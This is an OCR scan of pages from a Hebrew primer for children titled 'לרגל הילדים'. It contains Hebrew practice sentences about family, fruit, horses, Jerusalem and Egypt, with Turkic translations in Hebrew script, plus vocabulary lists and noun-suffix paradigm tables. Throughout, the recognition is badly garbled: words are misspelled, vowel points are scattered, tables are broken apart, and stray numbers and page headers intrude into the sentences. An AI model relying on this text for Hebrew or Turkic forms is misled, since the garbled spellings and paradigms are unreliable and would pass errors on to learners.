אקאלריניורן מירסלריגיניז ּאגי סאטג'ק סיגין, אקאלרים: סיז ביזים ג'ויזלרי
סאטר סיגיז . ביז סניג גויזלריגיזי סאממייג'ק איז . פאדשאה דון אולדו
(נצינדי, ופאת איטדי). ירושלם אוורינא כּים פאדשאהליק אידר ? בּן
;
אקאם דן מירסלדיגים בחצאיי סיזי: אקאלריניזא סאממיש אים , וא סיז
שהד לרים סיגיז. ב ופט ג אדמיג סיזילרי גיבי סיזילר אולמאדי . חלאייגיג
קיזי בוגון בו אוכסכ בורנייג אוזרינדן אוצדי . רבקה : חצאן בגא אקאג
וירדיגי איי וא פחאלי, וני סאטר סין .
מבאובינו לא היו קשים כמבאוביף כ" . מי יקבר את האיש העני
אשר מת אתמל מחלי רע . אחותו ואמו תקברנה את. העני ההוא , ולא
נקבר אנחנו כי אין בצרורנו מאומה. ידיריה ! אתה גנכת את רמוני יביס
ור
משה ואהרן ! אתם לקחתם את רמונינו. לא לקחנו את רמוגיכם . משה
ואהרן : אתם עדי כּי לא גנבתי. את' רמוני שלמה.. ואתם עדי . כי לא
אכלתי את תפוחיו . אני . גנבתי את תפוחי המשנים ולא אכלתי את
רמוניהם . איש ישר אניולא אגנב מאומה . ישרה את אחותי ולא תגנבי
מאומה . אחי ! מי עדף כי לא גנבת את רמונינו . מי עדיך טכ 1 מו
עדיף. <קבחי + מאין ל האגוזיס האלה + אני לקחתי את האגוזים ההם מעל
השלחן . בריחי המבצר הזה חזקים כבריהי המבצר אשר יסדו הגבורים
ההם :
שרח ורבקה : חצאן אקאלריגיזא!כירי מכתוב ואזנ'ק סיגיז, ניגיא כּי
בּבּאם .סוולדי + בּיז אקאלרימיזא מכתוב יאומייג'ק איז . קיוקרדאשים
.₪-
לרגל
רבְקֶה תִסְגַר אֶת הַדָּלֶת .
אַחותי וְאמִיאַפן גרה אֶת מִדְלַת .
רבק וְשָרָה רנה אֶת הִהָלֶת .
רבקה לקַחָה אֶת אָגטיהָ מעל השלתן .
המלְף וְהַמַלכָּהיִרְרוּחַיוום מַראש הָהֶר.
מַתִי מִסְפְּרוּ אֶת הֶרְמוּנִים אָשָר הכיא
אָבִי מִירוּשָלֶם .
אֶחוְתִי ! מָתִי מִּמִכְּרִי. את הפפוּחִים
הטובים אֶשָר הָבִיא אֶחִי מַחְבְרון.
אַחותִי ! לְמָה בָּרַחַחּ אֶמָמל מֶנַן דוךי.
לְמָח לְקְחֶתּ מִיהוּרָה כַּסַף וְְהַב ?
הפפוחים הָאֶלָה לו היום מעל הְעץ.
משנים הָאֶלָה נפְלוּ אֶתמל מָעַל
סוּסִיהֶם.
לא אֶכַלְנוּ מְפְרִי חפפוח הנבו הוָה .
ארֶץ מַצְריִם רהוקה מָאר .
שֶרֶץ מְצְריִם קרבה לְאֶרֶץ חְעְבָרִים .
אָבִי בא אֶתמל מְאֶרֶץ מִצְרּם .
אִמִי אלה אגוזים מַאָגוִי אַחוּתִי .
אֶבִי קנֶח מְעילִים מִמָעִילִי הִמִצָרִי .
דוּרִי מָכֶר סוסים מַפוּסִיו .
הילרים 39
רבקה קאפויי באסטיריר.(באסטירג'ק ריר)
קווקרראשים וא אנאם ! סיז קאפויי
באסטירג'ק סיניו .
רבקה ושרה קאפויי באסטירג'קלר דיר .
רבקה טראפיזא אזורינרן ג'ויזלריני אלרי.
פארשאה וא מליכה מוגון ראניג באשינרן
אנדנילר .
בבאם ירושלם דן גטירריני נארלרי חצאן
סאיאג'ק סיניו ?
קיוקרראשים ! קרראשים חברון דן
גטורריגי איי אלמאלרי חצאן סאטג'ק סין?
קיוקרראשים! דון אגאמיג בחצאסינדן נא
איצון קאצריג ?
נא איצון יהורה דן גומוש וא אלטין אלרין.
בּוּ אלמאלר בוגון דירגיג אוזרינדן רושרו.
בו פשאלר רון אטלריניג אוזרינרן אוצרילר
(יינילדולר) .
בו אוכסכ אלמא דירניניג מיובאסינרן
יומדיכ .
מסר טופראגי פכ איראק ריר .
מסר טופראני יהודילריג טופראנינא יאקין
דיר .
בּבאם דון מסר טופראנינרן גלדי .
אנאם קיוקרראשימי' ג'וויזלרינדן ביר קאץ
גוויז יירי.
בּבאם מפרליינ. ג'ובאלרינרן | ביר קאץ
ג'ובא סאטון אלרי .
אקאם גנדי אטלרינדן ביר קאץ אט סאטרי.
אֶחותִי י אַתּ אָכלְת תפוחים כְתְּפוּחִי אָבִי. את לקחף רמונים מַרְמני
דורי .
את תַּמכְּרִי לי סוּסִים. מַפוּפיף .
אֶףּ תַצְבְָּרִי חון . אַתּ תִקְבְּצִי
מטמונים . את ירשת את מממוני המשנים הַעַשירִים . את לא המרי
אֶת רמנ .
תִסְגרִי אֶת הַדָּלֶת ,
אַתּ לא סגְרְתּ אֶת הַדּלֶת . אַת סָנְרָתּ אֶת הַדְּלֶת . את
ריַך חוקים כְּרִיח. מִבְצָרִי .
מִי ינב אֶת
33 לרנגל הילדים
ךר" מכה הא =כתב גקבה)הא ת=נתב או יאזר .
5 1 . . . 1
אַתָה ת=כֶתב
אי אָ=כְתב
הַם י=כתב=ו
אִמֶּם תִּ=כתכ=-
אַנְחָנוּ נ=כתּב
את ִתִ-=-כתִּבָ=י סן יאזר סין
אנ א=כתב בן יאזר אים .
הן ת--כַתבֶ=יָה אנלר יאזרלר.
אַפָּן ת=כתב=ה סיו יאזר סיגיו
אנחנו נ =כתב ביז יאזר איז
ער , " () שקר - - הון , זי (1) מאל .₪ ירש , מִיִרַסְלָרי :
לְמִיר, 1 0תִּלְמִיר שניָרךָ = מבצר , ז'
תו
1 , ז רי , תו - .
קאב , ' (1) אגרי. סיזלוב ארֶץ, נ'- ייד מְארְש. = = צָבֶר, חושירדי.
בּרִית, זי (0 באסטיריק + א וְבֶר , סאגינדי . קבֶץ , דוושִיררי .
מטמון , זי פ) תונא. יסר , טַמָל איטדי . קב | ימרי .
מ יְכֶב אֶת הְאצָרֶת 1
לְמִירִי יְכְְבוּ אֶת הַפְּפָר .
שרה וְרְכְקָה תִסְפרְנֶה אֶת אָגנּתן .
ָכִי ודודי! א קרו אֶת הענִי שר
מת אֶחמל .
אמִי ! לָמָּה חִקְבָצי כָּסַף עֶהַכ ?
שֶרָה וְרְבְָה + אפן לא תִסְפַרְגָה את
הַכּכּבִים .
לְמָה אָצְבר לי בָּסָף וֶָב 1
דורי! מה לא תַקֶהּנָרֶת לְתלמיריף
מִחֶראָכב את הָאִגְרֶת וחיום לא אכְתּב.
אָנְחְנוּ לא נמִכּר אֶת אַזנוּ .
רחבת הַנֶה טיכים כּבְרִיחַיהטבְצָר
אַשָר רה הַמלפָּה.
אֶחִי ! אה תִּסְגר אֶת הַדָּלֶת .
מכתובי כּים יאזר ?
תלמידלרים כּתאבי יאור לר .
שרה ורבקה | ג'ויזלריני סאיארלר ,
(סאיאג'ק דירלר).
בּבּאם וא אקאם ! סיו רון אולן פאקירי
ומר סיניו (גומג'כ סוניו).
אנאם ! נא איצון גומוש וא אלטן
רוושירירסין .
שרה ורבקה ! סיו יילריולרי סאיימו סיניו.
נא איצון ננרימא נומוש וא אלטין
דוושירג'כ אים ?
אקאם נא איצון תלמידלרינא מכתוב
יאזמז סון ? (יאזמיירסין) .
מכתובי יארין יאזר אים , בוגון יאזמם .
ביז ג'ויולרימיוי סאטמז איז (סאטמייג'ק
אוז) .
בו אביג באסטיריקלרי מליכּה טמל
אוטריני קלעהוי: באסטיריקלרי נִיבי איו
דיר ,
קרראשים ! סן קאפויי באסטיריר פין .
לרגל הילרים 37
95
א מג] אָבִי (=מֶן נן אָבִי) בבאמיג בחצאסינדן .
מפרי הְעץ (=מן פָּרִי) דירניג מייבאסינרן. .
בּ. מִאָרֶ'ן מְצרים (=מן אָרֶץ) מסר יירינדן .
מראש הָחָר (=מן ראש) דאגיג באשינדן .
מִהיכָל המלף (=מן הובל) פאדשאהיג סראיינחן .
מְחָדֶר דודי (=מן חָרך) אקאמיג' אודאפינרן .
מִשְנִי =מן עני) פאקיררן .
מִעשיר (=מן עשיר) זגין דן.
מְעַל החומה , קלעה אוזרינדן
מעל הֶעץ , דיר אוזרינדן.
מוהודֶה (=מן יְהוּרַה) יחדה רן
מורוּשלֶם (=מן ירוּשָלם) יושלסרן .
ב
זו | שם יחיר שם רבים
5
נפרר חרש . אוסטא . חַרְשִים ; אוסטאלר .
נסמף | חרָש עץ, אגאץ אוסטאסי . חָרְשי עץ, אגאץ אוסטאלרי .
ז- ₪ זל
חרשי חרשי בנים אוסטאם ||תרשי ח שי בּנים אוסטאלרים
. ג . , , 5 6 -
חלשך סניג אוסטאנ חַרְשיךָ חרל יה סניג אוסטאלריג
+ שי
|
4
| פמ
60
חַרְשו חרשה אנין אוסטאסי חרשיו חרשיה אנינ אוסטאלרי
חרשנו חַרְשָנוּ ביזים אוסטאמיז חרשינו חרשינוּ ביןי אוסטאלרימיז
חָרַשְבֶם חָרִשְבְן סיזינ אוסטאניז ה שיכם חַרְשִיבֶן סיזי אוסטאלריגיו
ב 66%
חָרָשָם הרש |אנלריג אוסטאלרי] חַרְשיהם|חַרְשִיהָן אנלריג אוסטא לרי
שו ש
36 לרגל הילדים
ולא שָבַּענוּ . שמואָל יִצְחָק ולא הָיוּ שִיְרִיכֶס בַּשִרִי.. שלמה ודור כַּתְבו
אֶת שִירִיהֶס הַלִילָה , שָמעי אֶת שַירִיהָס והשירים הֶתַהָיוּ עָרָבִים מַאד ,
שרה ורִבְקה כָּתְבוּ חיום אֶת שִירִיהֶן . הַגּבָכָת הַעשירָה הת שְמַעה את
שריה הדָה עַתק: מַלְבוּשַיכֶם הַיום צוּאִים מאד . מַלְבוּשינוּ שחירִים.
חָלִי. הָראש בע מא .. אִיןחָלִי רע בְּחָלִי הָראש . הַנשִימִים הַעשיהִים
הָאָלֶה קרובים. קַמָלְךָ הָעַבֶר אָכָל אֶת אָגוזיו וְאֶת אָנונִי הער וְלָתָ
ברו ולא שֶבַע: .
2 ים כו וו ני דיר . סניג (זכר) רובאלרין וי רג גיל אידיי.
שרה : סניג רובּאלריג פכ פחאלי דיר . ביזים רובאמיז סיזיל רובאגיז גּיבי
דאר דיר:.: שרה ורבקה קיז קרדאשימיג רובאלריני גיירילר ; אַנלריג
רובאלרי .ייגי רגיל. אידי . בּו מדףי אדם מכ פאקיך. דיר +: או; גּנְחי
רופאלרין דון אקאמא. סאטרי . בן 2 או זנגין מפרלי חאנימי גורדים ;
אני ונהי פב פחאלי אידי . בן הו מסרלי פשאלהי גלרדים ; אנלרי
רובאלרי בייאז אידי . אנלרוג -. בּנים רובאלרים גִּיבּי כּגיש אידי..
בו פשאניג אטלרי אנאמיג אשכלרינא בגזייר . קיוקרדאשים סנינ: ססיגי
אשיממדי-- פן, קיז קרדאשים. בנים ססימי אשיטמדיג . שרה ורבקה פיז
ביוים ססימיזי אשיטמריגיו. שרה : סן בנים רובאלרימי נא איצון גיידיג +
בּן פארשאהיוא אניג בגאטירלריני גורדים . אניג ג'בבארלרי נבגאטירלרי6.
אירפיטלר גיב ביוכ דיר . בן מליכהיי וא אניל ג'בבארלריני גזרחים =; |
אנלר אירפיטלרא בגוייר .
אחותי את לא שבעת כי לא אכלת את רמוניך . חגבור הזה המות
את המורינו . אבי : חמוריך חוקים ומובים כּסוסי הנשיא. אמי! פוסיף
דומים לחמורי העבר . הפוס הזה עצל כחמור העבר . אחותי ן.למה לא
שלחת לאבי את האגרת אשר כתכת ? הנשיאים המצרים העשירים האלה
לבשו אתמל מעילים יקרים ; אנחנו לבשנו היום את מעיליהם .. אחותי!
מע לא סגרת את הפתח הלילה + הלילה איש רע גנב את 6 י אבי;
ני לא ראיתי את מעיליו . אחותי : קול ערב מאר . אני שמעתי את
- הכלה הזאת . קולה ערב ושיריה טובים מאד .
לרגל הילרים 35
סאנדוק לר גיבי +אגיר דיר . בו פאקיר מואבלי קריניג באשיניף
אזריסי גיבי אגרי אולמדי | . סיזיג אשכלריגיז בּיזים = אטלרימיז
גיב זירכ דיר | . קיזקרדאשים וא אנאם \ סיזיג אטלריניז. ביזים
אשבלרימיז קדר טנבל דיר . קיוים ! סניג רובאג בו זנגין אגאייג. ג'ובלרי
קדר פחאלי דיר . בו זנגין ניג קיזי מנבל דיר : אניל קנה רובאסי בו
חלאייגיג רובאסי גיבי כירלידיר . קיזים : סן נארלריני יידי . בּן נארלרימי
יימדים . קיזקרדאשים ! סן דויידיג בן דויימדים . בן אשכלרימי וא
אמלרימי בו זנגין אגאלרא סאטדים .
אמי מכרה את חמוריה למשנים הגדולים האלה . אחותי ! למה לא
שלחת את חמוריף לבתי + בתי!תפוחיך לא היו טובים כאגוזיך . אגוזינו
לא היו גדולים כאגוזיהם , חמוריהן לא היו עצלים כחמורינו. יצחק נתן
לי את רמונו ; אני אכלתי את רמונו. אחותי נתנה לף את תפוחה. אתה
לא אכלת את תפוחה . המשנים האלה מכרו לאבי את סוסיהם ; אבי קנה
את סוסיהם . השפחה הזאת מכרה לדודי את אגוזיה . דודי קנה את
אגוזיה . השפחה המצרית הזאת והמינקת המואביה ההיא מכרו לי את
חמוריהן . אני מכרתי ל את חמוריהן . המלך הזה אהב את גבוריו .
גבוריו היו חזקים ויפים . אחותי ואמי נתנו את לבושן ליהודית העניה
הואת והיא לא לקחה את לבושן , אחי ודודי לא מכרו לי את סוסיהם ;
סוסיהם היו יפים מאד .
בּבאמיג טורכיסי פּכ | איידיר . אקאמיג טורכולרי. אי דגיל
אידי . קיז קרדאשים יאזדיגי טורכו בו דיר . קרדאשים טורכוסיני
בוגון יאזדי | . קרדאשים טורכולריני אובירסיגון | יאזדי | .
קיוקרדאשיג טורכיסיני חצאן יאזדי + או טורכוסיני בוגון יאזדי . בן אניל
טורכולריני דון דיגלדים (אשיטרים) . אניג קנה טורכולרי פּכ איי דיר .
קרדאשים .סניג מורכוג בגאית איי דיר . קרראשים \ סניג מורכולריג קיז
קררשימיג טורכולרי גיבי איי דגיל אידי . בן סניל טורכולרילי כתאב
אוזרינא יאזדים . שרה :דון פניג טורכולריגי כּים אשיטדי + בנים
טורכולרימי מליכה אשיטדי . בּנים טורכומי מליבה אשיטמדי . בּנים
טורכולרים איי דגיל אידי. בּיזים נארלרימיז פכ בּיוכ דיר. בּיזים אלמאמיז
נאר גיבי קירמיזי דיר . ביזים טורכולרימיזי דיגליין זנגין פשאלר בונלר
דיר . ביזים טורכומיזי דיגליין עקללי חאנים בו דיר .
שָרָה וְִבְקָה מָתִי כתַבְָּן את שירִיכֶן * אֶגְחנוּ כַּבְנוּ שלשם אֶת
שירינו . שמאל ִצְסָק כְִּי אַָלְתֶם אֶת רְמונִיכֶם + ּבלנוּ. אֶת רמנינו
34 לרגל הילרים
משה ואתרן לא נְתנוּ ליהויקים וְלִיִירְיֶה | משה ואהרן יהויקים. :א וא יריריה נא - |
אֶת רְמנִיהֶם . נארלריני וורמדילר .
יהָקים וָאהַרן דוּמִים לְאְִילִים . יהויקום ואהרן דלילרא בנורלר .
הנָחָר חוָה דומה ליאור מִצְרִיִם . בּו אוון מסר נילינא בנור .
אִתּם גּדולים וְגְבורִים כָּענקים . סיו אירפיטלר קרר ביוכ וא ג'בּבאר סיניו.
אבי ואָמִי יָשָכוּ בּאָרֶם . בּבּאם וא אנאם ארם דא אוטוררילר .
הַשְפְּחָה הזאת הֶלְקָה בַּחָשָכֶה ; היא = בו חלאייק קראגליק דא גזרי (גזר אידי) ;
נִפְלָה פָּחָאם . או אפאנסיו דושרו (יינילדי) .
הַמָשָנִים הָאֶָּה דומִים לָענְקים. בו פשאלר אירפיטלרא בגווור :
הַענְקִים הָאָלָה הָיוּ בּירוּשָלֶם . בו אירפיטלר ירושלם דא אידילר .
חָלִי הָעַבָד הוֶה - דוּמָה סלו השָפַּחָה | בו קלוג | כפסיליני | או חלאועינ
הזאת . כּפסיוליגינא בנזייר .
בְאניָה = המַלְאֶה הזאת יש תּפּוּחִים = בו דולו גמידא אלמאלר וא נארלר ואר .
ָרְמנִים .
אחותי וְאָמִייַאַתִּן לא שִמַעְתּן את שיָרִי הַגְבוּרִים אָשָר הָיוּבנן הַנָשִיאָ.
רבקה : אַת לא שְמעַת אֶת שירִי . הָעָנַקִים הָאֶלָה שְתָטו אֶת סופיָם |
לְמָה שחְמַתֶּם אֶת הַמורִיכֶזמְָתִי שמְעה אִמִי אֶת שבִי אַחותִי 1 אָמי
שמטה אֶת שרִיָ היום . רבקה למָה לא בְּחְבָ אֶת שַיריך על סְפָּר ז
אַחוְתִי ָנִיכָתַבְחִי את שיריך כל ספ ָּּשָר. אה 9 אָמִי . ורי
הָשיָרים מברו אֶת יס - - הַעַבָד. הזה ְהַשָפְחָה | הוּאת לא
מכרוּ אֶת אָגיֶם . הַפָּפוּחִים הַאֶלָה דומִים לְאָוום . התבה הְַגְדולָה
הוּאת דומה לאָניָה /
אנאג קיז קרדאשים גיבי עקללי דיר . בו בייאז גיובאלרי סאטמיש
פוקרא קרי קיזקרראשימא בגזייר.קיזקרראשים גיידיגי רובא קיזקרראשיגיג
רובאסי קדר בייאז דיר . בו גלינלרי אלאן כוייבלר או גלינלרי אלאן
פוייבלר קדר שירין דגיל אידי. . בו פוקרא חלאייק סאטריגי אשבלר
בבאמיג אשבלרי קדר זיורכ דגיל אידי . בּנים אשכלרים בו זנגין
מסרלי קריניג אשכלרינא בגזמייר אידילר . בּו בי סאנדוקלר דולו
לרגל הילרים 33
לבוש , ז' (1) לב אס רובא
גָּבור ,
סל , זי 02 שאשקץן הלי,
שיר , 1+ () טורכִּי. טורכו
הנָהֶר הַזֶּה רְחֶב כִּיאור מְצְרִיִם .
לא שמעפִי אֶת שִרִי דודִי.
אֶחִי ! לטה צואֶה. לְוּשָף אָשֶר לכש
היום. +
ְבֶר שָפך שְמֶן על לבושי .
שלמה : תפומ לא היה אָרוּם כְַּפוּחי.
אחותו ! לְמָה לא אַכָלְס אֶת רפוניך ?
יהויקים ! חַפוּחַיף לא היוּ טוּבִָים .
אַנִי רְאִיתִי שת רבקה וְאֶת סוסיה .
וי הַעבָר וה דומִים למנ הבר
ההוא .
אָמִי ! לכושף בִּלְבוּש אִם דורף .
השורִים הָאֶלֶה - * הַם = שרי : שלמה
ודוד; אָד כָתְקִי אָת שַרִיהֶם כְּאָשָר
אַחוחִי אִסְלָה אֶת רמוח .
קול שֶרֶהורכְקהערב מאר, אנ שמעְתִי
את שירְיָן חיום
אבִי הִכָּח היום אֶת הָעַכד
תַמוחו..
ייה ודוד ! לְפָה לא אַכַלְפֶּם אֶת
= = מפּוחִיכֶם ?
אבִי. ודוי ! פה לא לָכְשְתּם אֶת
מְעיליכָם + |
משה וְאָהָרן לא אִבְלוּ אֶת תפוּחַיחֶם .
צחותי ימד לא אלפ את רמוניכקן?
כ ָנַב את
וחלק ראשון)
שָכַ , אונוטדי , נָתֶר ,
ה , יוְלָאְ אב דורי .
מלבוש, ז' (1) לְבָאס, רובא = שָבָע, חויירי.,
ז' (1) בגאטיר, ג'בּבָּאר לבָש , יידי ,
צוּאֶה. , כירלי ,
זי אוון ,
בָּאַשר נסלי .פּי.. יגיא בי
דר' + ?0
בו אוון מסריג נילי קדר פּניש ריר ..
אקאמי1 טורכילריני אשיטמרים .
קרראשים! בוגון גיידיגיג רובאג נא איצון
ּירלי דיר 1
קול רובאם אוזרינא יאנ רופרי .
שלמה \ סנִיג אלמאנ בּנים. אלמאם גיבי
אל רגיל אורי .
קיזקרראשים ! נאאיצון נארלריני: יימרין9
יהויקים ! סניג אלמאלרינ אוי גיל אירי .
בן רבקהיי וא אני: אטלריני גורדים .
בו קולוג אלמאלרי או 7% נארלרינא.
בּנזר
אנאם ! סנינ הצא אקאניג אנאסיניג
רובאסי גימ ריר .
פו טורכו לר שלמה ניג ורורי3: טורפולרי
דיר; בן אנלריג טורכולריני אשיטריגים
ניבי יאזחים .
קיוקרראשים (נדש נאריני יירו .
שרה נינ ורבקה ניג ססי 3 דאטלי ריר;
פן בוגון אנלריג. טורכולריני אשיטרים.
בּבְּאם בוגון קולי דוגדי
צאלרי.
ודוה ורוד ! נא אוצון אלמאלרינוי
יימדיניו ?
. זירא אנון אשנינ
בּבאם וא אגאם ! נא איצון ג'ובאלריניוו
גיימדיניו ?
משה ואהרן אלמאלריני יימדילר .
קיזקרראשים וא אנאם ! נא איצון נארלוניזי
וומדיניו ?
5%
390 לרנגל הילדים
בגזייר סיניז . קרדאשים וא אנאם : סיז ירושלם אוזרינרא פאדשאהליק
אידן מליכה יא בגזייר סיגיז . אנלר נקנה) בו מסרלי חלאייק גא בגזייר ,
בו מואבל: דאיא קרדאשימיג דאיאסינא בגזייר . בן בוגון יצחק ני וא דוד
ני גורדים : אנלר זנגין מפרלי פשאלרא בגזייר . ביז. כר נגין אגלרא
בגזייר איז. ביז מסרלי בגלרא בגזייר איז . ביו גיט ארסלאנלר. גיבי
קוותלי איז . קיזים !נא איצון בו מחירלי מכתובי אלדיג + קיזים ! נא
איצון ו מוחודלי מבתובי אצדיג ז קיז קרראשים ! נא איצון קאפויי אצדיג וא
סוגרא אורטמריג ,
6 %
א = אֶרֶם , מַמַלַכֶת אָרי בְּאָרֶם, אים דא .
חְשָכָה קראגליק . בְּחשָבָה, קראגליק דא,
חל , חסטאליק . חל" : הסטאליק ניבי.
ענק, אירפיט . לו ענ , אירפיטא .
אל , שאשקין . ליל שאשקינא .
- רוּשָלם , ירושלם (שהר אדי) 0 ירושלם דא ,
יָררְיָה ו כִּידְדִיה , ְדיִדְיָה גיבי .
יהויקים, יְהוְיָקים . (אד) לחוקם, יהויקים נא .
|| | שם יחיד שם רבים
מוכר'| סוס , אָט סוּסים, אטלר .
סמך | סוס המלף , פאדשאהיג אטי. סוּסִי המלה ל | פארשהיג אטלרי .
לזכר | 5 | שקמה ] 0007 | לפר | אקצה | 77777 לנקבה. | | לזכר לנקבה |
סוסי סוסי בּנים אטים סוי סוסי בּנים אטלרים
סוּסְך |פוסך סניג אטיג סוס = |פופיך סניג אטלריג
0%
סוסו סוּסָהּ אניג אטי סוּסָיו = |פוּסְיהָ אניג אטלרי
סוּסנוּ. |סוּסָנוּ | |ביזים אטיפיז |סוסינו סוסינן | |ביזים אטלרימיז
סוּמְכם |מוסכן = |סיות אטיג" |סוסיכם |סוסיכן סיזיג אטלר יניז
ב 66
סוּסֶם = |ְסוּסָן | |אנלריג אשי = |סוסִיהֶם |פוּסִיהָן אנלריג אטלרי
לרגל. הולדים 41
הַמְלְמָד.. אַחותִי, את לא שמעת אֶת קול בַּת הַמֶלך . אָנִי לא יָדַעְתִּי את
הַמָשָנִים אֶשר כָּתְבוּ אֶת הָאַגרֶת הַחַתוּמָה. הזּאת . אַת, אֶחוּתִי ,לא ירע
אֶת הַשָפַחָה הַמְצְרִית אֶשר כַּרְתָה אֶתַמל מִן הנן . אַנְחנוּ שָמַחנוּ כּי בָא
אָבִי היום ומד אַחותִי. לא שמת את + הְעָבָד הַזֶה דומָה לְגְּבִיר . בּן
הַשָפַתָה הַמִצרִית וְהְעָבָר הוָה דומים לגְבירים . הפשנִים הַאָכָּה לא ּנָבו
אֶת הַזֶחֶב . הֶם נְקִִים . הַמַעָשִים הָאלָה טובִים . הַמַעשים הָהֶם לא היו
טוּבִים . אָבִי עְשָה מעשים טובִים. אֶחותִיילְמָה לא לחת אֶת הטבעת
היקרה אַשֶר נִתְנָה אָמִי + אלה המשנִים אֶשֶר נְגְחָה הִפָרָה החזקה וְהַבָּרִיאָה
אשד נה דודי אֶתַמל . אַלָה הַמַעשִים הג טובים שר עַשָה הַמֶלַך לְאָבִי .
פֶרִי הַתְאֶנָה הַזאת מָתוק בְּדבַש. אַחותי ואמ דומות בח המלך .
שרה ורבקה ! אתן לא שמעתן היום את קול הנשיאים אשר היו בגן
דודי . המשנים האלה שמחו מאד . אבי הביא היום תפוחים אגוזים ורמונים
מובים. מי הביא לאמך את האגרת הפתוחה הזאת . זאת הפרה אשר נגחה
את המשנים ההם, שלמה ואהרן ! אתם לא אכלתם את פרי התאנה הטובה
הזאת . נקיים אנחנו כי לא שפכנו את הדם . נקיה את אחותי כי לא
שפכת את הדם . העבר הזה והשפחה הואת היו חולים מאד. המלכה
אשר מלכה על ל חולה מאד . זאת המלכה היפה אשר מלכה על
ירושלם : אחי ודודי , למה לא אהבתם את המשנים המצרים ההם ?
אחותי ואמי: למה לא אהבתן את השפחה העברית הזאת + המינקת
אהבה מאר את אחותי . צרור אחי מלא כסף וזהב . החרש אשר עשה
את התבה הגדולה הזאת חולה מאד . בת החרש אשר עשה את
האניה הזאת חולה מאר .
דון גורדוגים קיז וא בּבאם אובירסי גון סאטון אלדיגי מסרלי חלאייק
דילבר דגיל אידי . בּופוקרא קריניג אוגלו וא קרדאשים ייגיט ארסלאנלרא
בגזייר . בו מואבלי חלאייק בּגאית כפסיז דיר . כּפסיז מסרלי חלאייק
בו דיר. כפסיז פשאלר בונלר דיר . קיז-קרדאשים וא אנאם פפסיז אידי.
בו טוגרכ מירכיי יפאן אוסטא כפסיז דיר . בָּו גּמיי יאפן אוסטאייג קיזי
הילבר דיר . אציק מכתוב בו דיר . מוחורלי מכתוב בו דיר , בו גג'א
בלקייאן בּויוכ וא עיידין יילדיולרי סן גורמדיג . בו פארלק יילדיזלר גונשא
בגזייר . בּו כּסא דא חיץ ביר שיי . דיר . קיו-קרדאשים \ בִּבָּאם דון
גטירדיגי אינג'יר דירגיניג מייבאסיני נא איצון יימדיג . בן דירגיג יימישי
אינג'ר דירגיניג יימישינא בגזייך . ביז כפסיז איז . ביז י<קנה כּפסיז איז ,
סיז כר) כּפסיז סיגין . סין עקכהו כפסיז סיניז . סיז (זכר) ייגים ארסלאנלרא
10 לרגל הילדים
הַמּשָנִים הָאָָה ָפִים כפִירִים .
הְאָגוִים אֶשֶָר הָבִיא דורי
קְשִים מָאר
הַאמַה המואביה יפה מאר
הפרות אַשך מכרה אתמל הָאֶשֶה הָענִיה
הזאת הָוּ יפות מאד
ּן המל וא הַמַלכָה יָפִים מָאר
אֶחָמל הָו
קשה לסו יפי ור
שרה רבקה הָיוּ יפות מָאר .
בְּצָרור אָבִי וש כּסף וחב .
ְּצְרור האָמַה היפה [ הזאת אין מא וּמַה
גבוּל כּרֶם טְכִי קרוב לגבול גן הַמָלְךָ .
בר הק וְהְאֶמָה את עַשרִים
תי וּמָה לבת הנא עשר הוה .
פָרִי הפוח הַוָה דומה לְפָרִי הָאָנָח .
הש זפחה אֶשֶר ישְבָה בכרֶם 3
מאד .
בי ואי אְֶבוּ אֶת אֶחִ כ חָבֶם הוא .
די חוּלָה
אֶהָכָה אֶת אחותי כִּי חכמה
מָארד
וימי ! אמן לא מְכלפֶן פרִי מק
כַּפְרִיהחְּאָנָה הזאת .
הפפוח אֶשַר אכלקם היה מַתוק כַּפַרָי
0
מ היא
ה מה | תת אתמ
מן הַבַּיֶת . משה וְאַהרן !
למה ורוד ברחו מן הגן . בּתף לא שמְעָה אֶת קל
בו פשאלר ייגיט ארסלאנלר גיבי דילבר
ה
דון אקאם גטירריני ג'ויזלר פּכ קאטי
אידילר .
מואבלי חלאייק בּנאית דילבּר דיר .
דון בו פוקרא קרי סאטריגי סיגירלך פּפּ
רילבּר אידי .
פאדשאהיג אוגלו וא מליכהייג אנאסי פּכ
רילבר דור .
יצחק וְרְבְקֶה פּכ רילבר אירילר .
שרה ורבקה ! פכּ רילבּר אירילר .
בּכאמיג כּסאסינרא גומיש וא אלטין ואר.
בו דילבר חלאייקניג כסאסינרא חיץ ביר
שיי יוק דיר .
בבאמיג באגיניג סינורי | פארשאהיג
בחצאפיניג סינורינא יאקין דיר .
בו קול וא בו חלאייק בגלר גי זנגין דיר.
קיוקרראשים בו זנגין אגאויג קיזינא בגור.
בו אלמא רירגיניג = מייבאסי אינג'יר
דירגיניג מייבאסינא בּזזר .
אקאמיג באגינדא אוטורן חלאייק פכ
חסטא ריר .
בּבּאם וא אנאם קרראשימי
זירא או עקלליריר .
אנאם קיזקרראשימי סוורי זירא או כ
עקללי ריר .
קיוקרראשים וא אנאם ! סיו בו אינג'יר דירגי
ניג מזיבאסי גיבי דאטלו מייבא יימדיניז .
וודיניניז אלמא איננ שר דירגינינ מיובאסי
קרר ראטלי אירי .
סוורילר. ,
מָה בְּרְחְתם
לרגל. הילרים
29
כתאבי. יאזן עקללי מסהלי. (קרי) לר. בונלר דיר . = בּיו דון בו אוכספ
דאגלר דן אנריפ ,
9 8
כּפר , ייגיש ארסלאן .
א , כ',
א, ְּבְפיר ,
צַרור , טויונציכ . כְסָא .
יי. נג'יר דירי .
נופי
ייניט ארסלאן ניבי .
בְצָרוּר , כסא דא .
לתאַנה, אינגייר דירנינא ,
אשיטטי .
ב. שמַע ,
ברח -, קצרי .
ירע', בילדי .
שמח = סווינדי.
ב מִשָנָה -ז, פשא.
מָעשָה , ' . איש
(יהיד)
ב "יפה
קשה
חולה
דומה
נ' יָפָה דילבר .
קשה קאטי
חלֶה הסטא +
דומה נגזייר .
פרוּ | ז' יימיש . מייבא.
צרור הַכָּסַף, אקצא כססי .
שמעת נ', אשיטטיג
ברחת נ' . קאצדיג
ידעת = . . בילְדיג
שְמַחַ ני . פוינדיג
ור טנים, פשארר.
מעשים אישלר.
מעשים,
(רבים)
ג יפות דילבר לר .
קשות כאט טילר .
לת הסטאלר
דומות. בגזיירלר .
1 יָפִים
קשים
חולים
דומים
מִדוע, נא-דאיצון .
בר , ': בָּגּ. מַאוּמַה *חוץ ביר שיי. אהב , סוודי .
גבול : ז', סָינור. אין מַאוּמָה . חיץ ביר שיי יוק דיר. עשה , יאפרי .
אַנָרְת , נ' , מִכתוּבּ . למ | נאדאוצון . עשיתו , יאפדים .
בּצְרוּר הִכָּסֶף ן מָאוּמָה .
